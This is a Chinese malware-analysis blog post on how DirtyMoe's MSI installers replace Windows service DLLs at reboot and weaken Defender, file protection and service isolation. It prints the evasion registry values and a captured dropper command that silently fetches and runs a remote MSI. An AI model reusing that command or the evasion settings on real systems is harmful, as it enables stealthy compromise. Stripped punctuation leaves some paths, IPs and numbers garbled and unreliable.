摘要
在第一篇文章中,我们从高层次的角度描述了一种名为DirtyMoe的复杂恶意软体。大部分捕获的样本为MSI安装包,这些安装包是通过PurpleFox漏洞利用工具包送到受害者的机器上。因此,在DirtyMoe系列的第四部分中,我们将专注于DirtyMoe的部署以及它如何应对不同版本Windows的各种问题。
为了了解MSI包在受害者机器上执行的内容,我们分析了MSI包的注册档和文件操作、安装程序的参数以及重启后的操作。我们还尝试将这些行为放入上下文中,以确定DirtyMoe部署中每个操作的目的。
DirtyMoe的MSI安装程序滥用了Windows系统事件通知服务SENS来部署DirtyMoe。该MSI安装程序的主要目标是用恶意负载替换SENS的系统DLL文件,并以合法服务的身份执行该负载。另一个关键点是配置反检测方法,以保持DirtyMoe低调行动。
DirtyMoe恶意软体对于每个目标Windows版本的安装文件和注册项目的位置需求不尽相同。由于MSI安装程序提供了一种方便的安装任意软体的方法,因此其使用似乎是一个合乎逻辑的选择。
1 范围我们记录了两个版本的MSI安装程序包分发DirtyMoe。这两个版本执行的操作非常相似,旨在成功部署DirtyMoe。主要的区别在于通过CAB文件交付恶意文件,旧版本的MSI包直接包含CAB文件,而新版本则需要CAB文件与包本身在同一位置。
单独的CAB文件使得管理需要部署的负载变得更加简单。此外,由于CAB文件可以在成功利用后下载,它还减小了主要利用负载的大小。
11 统一包旧版本统一包的示例是SHA256为:5ef702036c5c3aa2d0b6d8650e20b2c5f55776c69eebf8c700f1770b56a35c35
包详细信息如下:
产品名称:FONDQXIMSYHLISNDBCFPGGQDFFXNKBARIRJH产品版本:2000产品代码:{8039503216304C4BA9970A7CCB72C75B}安装条件:是Windows NT不能安装在Windows 9x/ME上不是Windows XP SP2 x64或Windows Server 2003 SP2 x64不是Windows XP/2003 RTM、Windows XP/2003 SP1、Windows XP SP2 x86不是Windows NT 40不是Windows 2000不存在SOFTWARESoundResearchUpdaterLastTimeChecked3且值为3文件大小:236 MB12 排除数据包新版本新版本的MSI包由两个部分组成。第一部分是MSI包本身,第二部分是包含恶意负载的单独CAB文件。MSI包引用以下其中一个CAB文件:M0011cab、M0021cab、M0031cab、M0041cab、M0051cab、M0061cab、M0071cab。CAB文件包含三个恶意文件,但每个CAB文件中只有一个文件sysupdatelog不同。关于文件操作的详细信息在第3节中描述。
新版本MSI包的示例是SHA256为:1233cc0b8f77213a229e64c6aa0e08bd18e075879734a18512b1990b6408764f
包详细信息如下:
产品名称:CTH3VNU8KZHDXY6YYCF9YV8OXGPW3P2APZPL产品版本:2000产品代码:{8039503216304C4BA9970A7CCB72C75B}安装条件:是Windows NT不能安装在Windows 9x/ME上不是Windows XP SP2 x64或Windows Server 2003 SP2 x64不是Windows XP/2003 RTM、Windows XP/2003 SP1、Windows XP SP2 x86不是Windows NT 40不是Windows 2000不存在HKLMSOFTWAREMicrosoftDirectPlay8Direct3D不存在HKCUSOFTWARE7ZipStayOnTop文件大小:1020 MB注意:产品名称 通常对于每个msi文件是不同的。它是一个由36个大写字母组成的随机字符串。产品代码 目前为止观察到的值是一样的。
2 注册档操作恶意软体作者通过MSI安装程序准备受害者的环境,使其处于适当状态。他们专注于禁用反间谍软件和文件保护功能。此外,MSI包使用一种系统配置来绕过Windows文件保护WFP,以覆盖受保护的文件,尽管WFP应该防止替换关键的Windows系统文件[1]。
在MSI安装过程中,有几个注册档操作,但我们将仅描述最关键的注册项。
21 互斥锁UpdaterLastTimeCheckedHKEYLOCALMACHINESOFTWARESoundResearchUpdaterLastTimeChecked[13]其中一个恶意软体的注册项是UpdaterLastTimeChecked[x],其中x表示MSI安装程序执行的次数。每次安装该包时会创建一个条目。如果存在UpdaterLastTimeChecked3,则不允许进行后续包的安装。这仅适用于旧版本的MSI包。
StayOnTopHKEYCURRENTUSERSOFTWARE7ZipStayOnTop = 1这个注册档操作仅与新版本相关。7Zip软件不支持始终置顶功能。因此,可以假设这个注册档条目作为安装包成功运行的标志。SentinelLabs发布的证据显示,该值的存在表明受害者的电脑已被PurpleFox入侵[2]。
Direct3DHKEYLOCALMACHINESOFTWAREMicrosoftDirectPlay8Direct3DDirtyMoe恶意软体的活动实例在此注册项中以加密形式存储设置和元数据。因此,如果该条目在系统注册表中存在,则将中止MSI安装。
22 反检测DisableAntiSpywareHKEYCURRENTUSERSOFTWAREPoliciesMicrosoftWindows DefenderDisableAntiSpyware = 1通过将DisableAntiSpyware注册档键设置为1,可以禁用Microsoft Defender防病毒。这样,如果系统没有第三方防病毒产品,则系统将无法保护恶意软体,包括间谍软体[3]。
SFCDisableHKEYLOCALMACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSFCDisable = 4Windows文件保护WFP可以防止非系统应用程序替换关键的Windows系统文件,这可能会影响操作系统的完整性和稳定性。WFP通常在所有版本的Windows中默认启用[4]。
显然,DirtyMoe想要避免WFP检测系统文件的任何操作。因此,SFCDisable值被设置为4,这样WFP被启用,但不会通过GUI弹出任何WFP操作的提示。这样一来,WFP虽然启用,但不会发出系统警报,且此设定仅适用于Windows XP。
SFCScanHKEYLOCALMACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSFCScan = 0系统文件检查器SFC提供了扫描系统保护文件的能力。SFC验证文件版本,并如果检测到文件操作,则会将文件更新为正确的版本。此注册档操作有助于禁用SFC,从而保护被滥用的Windows服务。这一设定仅影响文件扫描,但WFP仍可启用。
SvcHostSplitThresholdInKBHKEYLOCALMACHINESYSTEMCurrentControlSetControlSvcHostSplitThresholdInKB = 0xFFFFFFFF关键的注册档操作控制系统启动以及某些设备配置方面。要了解SvcHostSplitThresholdInKB注册项的主要目的,我们必须描述Windows服务的历史发展及通用主机进程。
在大多数情况下,Windows服务都是从动态链接库中运行,Windows通过通用主机进程svchostexe执行这些库。每个主机进程可以加载更多的服务DLL,作为一个进程中的线程运行。这是来自Windows XP时代的历史遗留,当时系统内存资源紧张。系统使用少量的服务主机进程,这些进程承载所有Windows服务,以DLL文件形式呈现,因为创建和维护进程在内存方面的开销很大。
图1 例示了运行的服务和最大主机服务进程的详细信息。Windows XP创建了5个主机进程,按其目的进行分组,例如LocalService、NetworkService和System。PID 1016是从内存使用量的角度看最大的进程,因为此进程承载了大约20个服务。这种方法节省了内存,但也使系统更加不稳定,因为如果一个服务崩溃,整个服务链都会因为被同一进程主机而被终止。
火烧云梯子图1 Windows XP中的服务链
如今,没有必要将服务分组到几个进程中,这带来了正面的效果,包括提高系统稳定性和安全性,以及更容易的错误分析。现在通常情况下,服务不再共享进程;提供系统功能的微型程序都有专属的内存位置。如果svchostexe进程崩溃,也不会再拖累整个服务链[5]。
Windows 10引入了阈值SvcHostSplitThresholdInKB,以确定何时创建服务作为常规进程。默认值为380000,因此当系统内存少于35GB时使用分组服务模型。换句话说,增加阈值可以减少主机进程的数量,从而确定服务进程是否分开。
以Windows 10为例,如果该值设置为1,主机进程的数量约为70,而阈值设置为最大值0xFFFFFFFF则主机进程的数量仅为26。
现在可以理解SvcHostSplitThresholdInKB的最大值如何隐藏运行进程的细节。因此,恶意软体作者将阈值设置为最大值,以隐藏恶意服务在线程中的活动。结果,恶意服务在主机进程的某个线程中运行。因此,追踪和取证分析变得更加困难,因为svchost进程承载著许多其他服务,很难将系统活动归因于恶意服务。
23 负载传递SMBDeviceEnabledHKEYLOCALMACHINESYSTEMCurrentControlSetServicesNetBTParametersSMBDeviceEnabled = 0为了防止通过EternalBlue漏洞传播其他恶意软体[6],MSI安装程序禁用SMB共享,有效关闭了Windows XP上的445端口。
AllowProtectedRenames 和 PendingFileRenameOperationsHKEYLOCALMACHINESYSTEMCurrentControlSetControlSession ManagerAllowProtectedRenamesHKEYLOCALMACHINESYSTEMCurrentControlSetControlSession ManagerPendingFileRenameOperations这些注册项也与WFP相关,因此对于恶意代码在受害者机器上的部署至关重要。其原理与MoveFileEx函数中的MOVEFILEDELAYUNTILREBOOT标志[7]相同。换句话说,MSI安装程序定义了在重启后将哪个文件移动或删除,这是通过会话管理子系统SMSS来实现的[8]。
恶意软体作者滥用两个系统文件,针对Windows Vista及更新版本的是sensdll,而对于Windows XP则是cscdlldll,详见第3节。因此,SMSS在系统重启后将关键系统文件替换为恶意的文件。
以下是Windows 7 32位版的PendingFileRenameOperations值的示例:
CWindowsAppPatchAcpsensdll
CWindowssystem32sensdllCWindowsAppPatchAcpsensdllCWindowssystem32sensdll
CWindowswinupdate32logCWindowssystem32sensdllCWindowsAppPatchKe583427xsl
CWindowssysupdatelogCWindowsAppPatchKe583427xsl
3 文件操作DirtyMoe滥用系统服务,特别是被保护的服务DLL文件,其处理程序是开放的,因此不会在不重启系统的情况下更换这些文件。文件操作的第一阶段是从CAB文件中提取负载,第二阶段则是用提取出的CAB文件替换服务DLL文件。
31 文件提取CAB文件通常包含三个负载文件。
winupdate32log和winupdate64log是代表DirtyMoe服务的恶意DLL。sysupdatelog是一个加密的可执行文件,包含由DirtyMoe服务注入的默认DirtyMoe模组。如果满足某个条件,MSI安装程序就会从CAB文件中提取并复制负载到指定的目的地,以下表格进行总结。
文件 目的地 条件sysupdatelog windir 无winupdate32log windir NOT VersionNT64winupdate64log windir VersionNT64
如果所需的文件被提取到正确的位置,MSI安装程序将结束并静默等待系统重启。接下来的操作由SMSS执行。
32 文件替换会话管理子系统SMSS确保根据PendingFileRenameOperations注册项,替换受保护的系统文件为恶意文件;见第23节。事实上,MSI安装程序根据Windows版本调用重启后的文件操作,具体如下:
Windows XP
删除如果存在windirAppPatchAcpcscdlldll将windirsystem32cscdlldll移至windirAppPatchAcpcscdlldll将windirwinupdate32log移至windirsystem32cscdlldll删除如果存在windirAppPatchKe583427xsl将windirsysupdatelog移至windirAppPatchKe583427xslWindows Vista及更新版本
删除如果存在windirAppPatchAcpsensdll将windirsystem32sensdll移至windirAppPatchAcpsensdll将windirwinupdate64log移至windirsystem32sensdll删除如果存在windirAppPatchKe583427xsl将windirsysupdatelog移至windirAppPatchKe583427xslWindows XP和Windows Vista及更新版本的区别在于利用的宿主服务。Windows XP使用的离线网路代理cscdlldll由winlogonexe加载,运行在NT AUTHORITYSYSTEM权限下。Windows Vista及更新版本提供系统事件通知服务sensdll,同样在SYSTEM下运行。Ke583427xsl文件是默认的DirtyMoe模组,为加密形式。
简而言之,重启后的操作将DirtyMoe DLL潜入系统文件夹,被注册为系统中的合法服务名称。替换这类系统文件是可行的,因为这一过程由SMSS完成,而SMSS是由内核启动的首个用户模式进程。因此,系统DLL不会创建任何处理程序,WFP也尚未运行。最终,代表潜入的恶意DLL的恶意软体将以系统级权限启动,因为被滥用的服务已在Windows中被注册为合法服务。
4 部署工作流程如果PurpleFox成功利用受害者的机器,则以管理员权限运行MSI安装包。MSI安装程序提供多种选项来静默安装软体,因此不需要用户交互。尽管系统重启是应用所有变更所必要的,但MSI安装程序也支持延迟重启;因此,用户并未察觉到任何可疑的征兆。安装程序仅静默等待下一次系统重启。
以下是一种通过MSI安装程序静默运行安装的示例:msiexecexe /i ltdirtymoemsigt /qn /norestart;其中/qn设置UI级别为无UI。
在成功系统利用后,我们捕获到一个具体的MSI安装程序运行示例。Cmd /c for /d i in (601641912219400 1855120110219836 203128613012315 58220244713384 15513815923217445) do Msiexec /i httpi0BC8EC41moe Q
这个投放器每分钟更迭五个不同的IP地址和端口;见DirtyMoe系列的第一部分第二节。对于每个IP地址,MSI安装程序都会以参数Q运行,因此如果请求的远程位置不可用或MSI文件不存在,安装程序不会通知用户有错误。部署过程因此在背景中静默进行。
MSI安装程序会设定第2节中定义的系统注册档,并将恶意文件复制到Windows文件夹中,详见第3节。随后的系统重启将安排包含ServiceMain的恶意DLL的代码执行,Windows作为SENS服务启动。考虑到恶意服务的复杂性,我们将在未来的博客文章中对其进行详细描述。
通常,MSI安装程序会将安装文件缓存在CWindowsInstaller中,以便于将来的更新、重新安装等。然而,DirtyMoe并不保留msi的备份文件。安装程序仅创建一个关于恶意软体安装的哈希文件。该文件名的格式为SourceHash{ltProduct Codegt}。最常见的GUID为:{8039503216304C4BA9970A7CCB72C75B}
MSI安装程序的回滚脚本无法删除恶意软体,因为被部署的文件由SMSS移动,不在MSI安装程序的范畴内。
整个部署工作流程如图2所示。
图2 DirtyMoe 部署工作流程
5 结论我们介绍了DirtyMoe恶意软体通过MSI安装程序的部署过程,这提供了一种支持多个配置以适应不同Windows版本的简单方法。MSI安装程序准备了所有必要的文件和配置,以成功部署恶意软体,并且还会清理备份和缓存文件。不过,还是存在一些征兆可以揭示DirtyMoe的安装情况。
系统重启后,会话管理器将用恶意DLL文件覆盖表示其中一个系统服务的文件。然后,系统启动相应的服务,从而加载包含默认DirtyMoe对象的恶意代码,该对象以合法服务的身份运行。
所有这些步骤在受害者机器上部署并运行DirtyMoe。在网络攻击链的观点下,关于DirtyMoe服务的详细信息和后续的安装操作将在未来的文章中介绍。
参考文献[1] Windows文件保护功能的描述[2] Purple Fox EK[3] Windows Defender安全恶意软体[4] 启用或禁用Windows文件保护[5] Windows 10中svchostexe的分割阈值[6] EternalBlue[7] MoveFileExA函数winbaseh[8] 待定文件重命名操作
标签:DirtyMoe、系列
分享:XFacebook
02-27
揭示内部威胁:zip 域名的隐藏危险
关于谷歌最近推出的 zip、mov、phd及其他变体作为顶级域名TLD,社区间的讨论相当热烈。网络安全社区的意见可分为两派。相当多的专家认为,谷歌此举可能会让不懂技术的使用者在互联网上更加困惑。而另一...
02-27
您的数据正面临威胁。如何保护您的数据和隐私?
艾玛麦戈万 2024年9月13日数据隐私已成为热门话题,这是有充分理由的。现在正是保护您个人数据时刻翻新自我的好时机。我自认在保护个人数据方面算是比较精明的。但去年的一次电话诈骗中,我差点就上当了,...
02-27
安全航行数位海洋:你的网路安全指南
安全航行数位海洋:您的在线安全地图作者:PrivateVPN,2023年10月26日 173657 在 VPN服务 在今天这个数位驱动的世界中,网际网路的隐喻性海洋是广阔而神秘的。就像古代水手需要地图...
02-27
如何在 AWS 上无忧无虑地白名单 IP 地址在 AWS 上设置 IP 地址的白名单,其实并不麻
目录IP 白名单解释IP 白名单的好处如何在 AWS 上列入 IP 白名单如何在 AWS 上列入 URL 白名单如何在 AWS EC2 上阻止 IP 地址以保护您的服务器免受未授权访问构建 IP 拒绝...